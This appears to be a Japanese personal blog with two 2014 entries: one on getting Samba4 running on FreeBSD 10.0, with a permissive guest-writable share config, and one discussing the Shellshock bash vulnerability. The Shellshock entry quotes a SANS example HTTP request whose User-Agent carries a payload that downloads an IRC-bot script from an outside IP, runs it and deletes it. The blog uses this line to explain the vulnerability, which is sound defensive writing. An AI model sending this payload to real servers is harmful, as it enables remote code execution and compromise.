2014-09

(2014-0905)

Samba

FreeBSD 10.0 のサーバーで Samba4 を設定。

最近は貰った Windows 7 の PC を日常使用しているのですが、どうやらこれは Vista からアップグレードしたものらしく、ファイヤーウォールの例外設定をしようとするとエラーになります。 Fixit を使っても、レジストリエディタでも直りません。おかげで ping に応答するようにできないし ftp.exe も使い物にならない (;_;)

そのためサーバーやタブレットとのネットを使ったファイルのやり取りが面倒で、著しく不便なので、妙な回避策ですが、FreeBSD 10.0 のサーバーで Samba4 を動かせば「幾ら何でもファイルのやりとりぐらいはできるだろう、たとえファイヤーウォールの例外設定が腐っていても」と思いました。

インストール

# pkg install samba4

設定

# vi /usr/local/etc/smb4.conf

内容は後述。

起動

/usr/local/etc/rc.d # ./samba_server start
としたが、
install: mkdir : No such file or directory
Performing sanity check on Samba configuration: FAILED
とエラー。まぁ、 FreeBSD では良くある話。

パラメーターのチェック

# /usr/local/bin/samba-tool testparm --suppress-prompt --verbose --configfile=/usr/local/etc/smb4.conf

Traceback (most recent call last):
  File "/usr/local/bin/samba-tool", line 33, in <module>
    from samba.netcmd.main import cmd_sambatool
  File "/usr/local/lib/python2.7/site-packages/samba/__init__.py", line 50, in <module>
    from samba._ldb import Ldb as _Ldb
ImportError: Shared object "libgnutls.so.28" not found, required by "libauthkrb5.so"
ふぅむ… libgnutls.so.28 が無い、と。

ライブラリ周りのチェック

/usr/local/lib # ls libgnu*

libgnutls-extra.a       libgnutls-openssl.so    libgnutlsxx.a
libgnutls-extra.la      libgnutls-openssl.so.27 libgnutlsxx.la
libgnutls-extra.so      libgnutls.a             libgnutlsxx.so
libgnutls-extra.so.26   libgnutls.la            libgnutlsxx.so.27
libgnutls-openssl.a     libgnutls.so
libgnutls-openssl.la    libgnutls.so.26
まぁ、確かに無いな。

邪悪な解決法

「libgnutls.so.28 は無いけど libgnutls.so.26 があるから、ライブラリのバージョンをきちんと上げなくても、ハードリンクを張って誤魔化せば動くかな」と思い

# ln libgnutls.so.26 libgnutls.so.28

とした。再度、パラメーターのチェック。
# /usr/local/bin/samba-tool testparm --verbose --configfile=/usr/local/etc/smb4.conf

Traceback (most recent call last):
  File "/usr/local/bin/samba-tool", line 33, in <module>
    from samba.netcmd.main import cmd_sambatool
  File "/usr/local/lib/python2.7/site-packages/samba/netcmd/main.py", line 24, in <module>
    from samba.netcmd.delegation import cmd_delegation
  File "/usr/local/lib/python2.7/site-packages/samba/netcmd/delegation.py", line 23, in <module>
    from samba import provision
  File "/usr/local/lib/python2.7/site-packages/samba/provision/__init__.py", line 46, in <module>
    from samba.samba3 import smbd, passdb
ImportError: /usr/local/lib/samba/libsmbd_base.so: Undefined symbol "ippGetValueTag"
相変わらずエラーは出るが、ちょいマシになった模様。

再度、起動

試しにこれで動かして変化を見るかと思い
# /usr/local/etc/rc.d/samba_server start
としたら、
Performing sanity check on Samba configuration: OK
Starting nmbd.
Starting smbd.
Starting winbindd.
動いちゃいました。

smb4.conf

smb4.conf の設定例は…後述のサイトを参考にさせていただき、意味を良く理解せず真似して「動いた〜! もういいや」としたので、妙な所があるかもしれませんが、もしかしたら参考になるかもしれないと思い、恥を偲んで紹介します。
[global]
workgroup = WORKGROUP
server string = FreeBSD
netbios name = freebsd
hosts allow = 192.168.10.
hosts deny = all
printing = bsd
security = user
passdb backend = tdbsam
guest account = nobody
map to guest = Bad User

[public]
comment = Public Share
path = /usr/local/public
read only = No
create mask = 0777
directory mask = 0777
guest only = Yes
guest ok = Yes
browseable = yes

[tmp]
comment = tmp
path = /tmp
public = yes
writable = yes
printable = no
正しい設定をするには man smb.conf して内容を熟読ください。

参考にさせていただいたリンク

どうもありがとうございます。
(2014-0929)

shellshock

CVE-2014-6271。bash に脆弱性。著しく悪用し易い。シェルだけあって任意コマンドが実行可能。セキュリティホール memo のが詳しいが、NHK でも報道されるほど。閲覧でウイルス感染も「bash」に重大欠陥ですと。う〜ん、、、NHK に脆弱性を理解するのは無理か。ぜんぜん、理解しないで報道しているな。閲覧しなくてもヤラれるので。bash脆弱性「ShellShock」を利用した攻撃を確認 - トレンドマイクロ危なすぎるBashの脆弱性「Shellshock」、深刻な事態になる前に対策をは、理解して報道している。

くりす研さんのブログ、bashの脆弱性がヤバすぎる件も参考になる。

セキュリティ関連団体からのアナウンス

最悪…

SANS

SANS のアナウンスがアテになるので紹介。

サンプルコード

リモートから HTTP 経由で攻撃する方法の説明 (SANS の Why We Have Moved to InfoCon:Yellow より)

GET /cgi-bin/test.sh HTTP/1.0
Host: [host ip address]
User-Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*"
ここに ec.z は IRC bot を起動する悪意ある perl スクリプトだそうな。

Windows のコマンドプロンプト等で telnet [host ip address] 80 とするだけでリモートから Web サーバーをヤレる (リモートからプログラムをダウンロードさせて、実行させられる) のか…

FreeBSD の場合

念のため、手元の FreeBSD でテストすると

$ AHO='() { baka; }; echo manuke' bash -c 'echo Hi'
bash: not found
となった。よって私の環境では大丈夫だった。

FreeBSD の sh は bash ではなく Ash (Almquist Shell) なようだ。もっとも、ports で bash を入れる事も可能なので、中には入れている人もいるかもしれないが、FreeBSD としては Security Advisories は出ていない。FreeBSD の問題じゃないし、デフォルトで入っているわけではないので、ports の方で対応されている。

本家 UNIX の sh では30年以上前に修正されていた

Norman Wilson 氏の Twitter
CVE-2014-6271 looks like a variant of a problem we fixed ~30 years ago in Research UNIX sh(1). There are no new bugs in the universe.
というコメントは、感慨深いですね。人類は過去から教訓を得る得るには限度がある、という事か。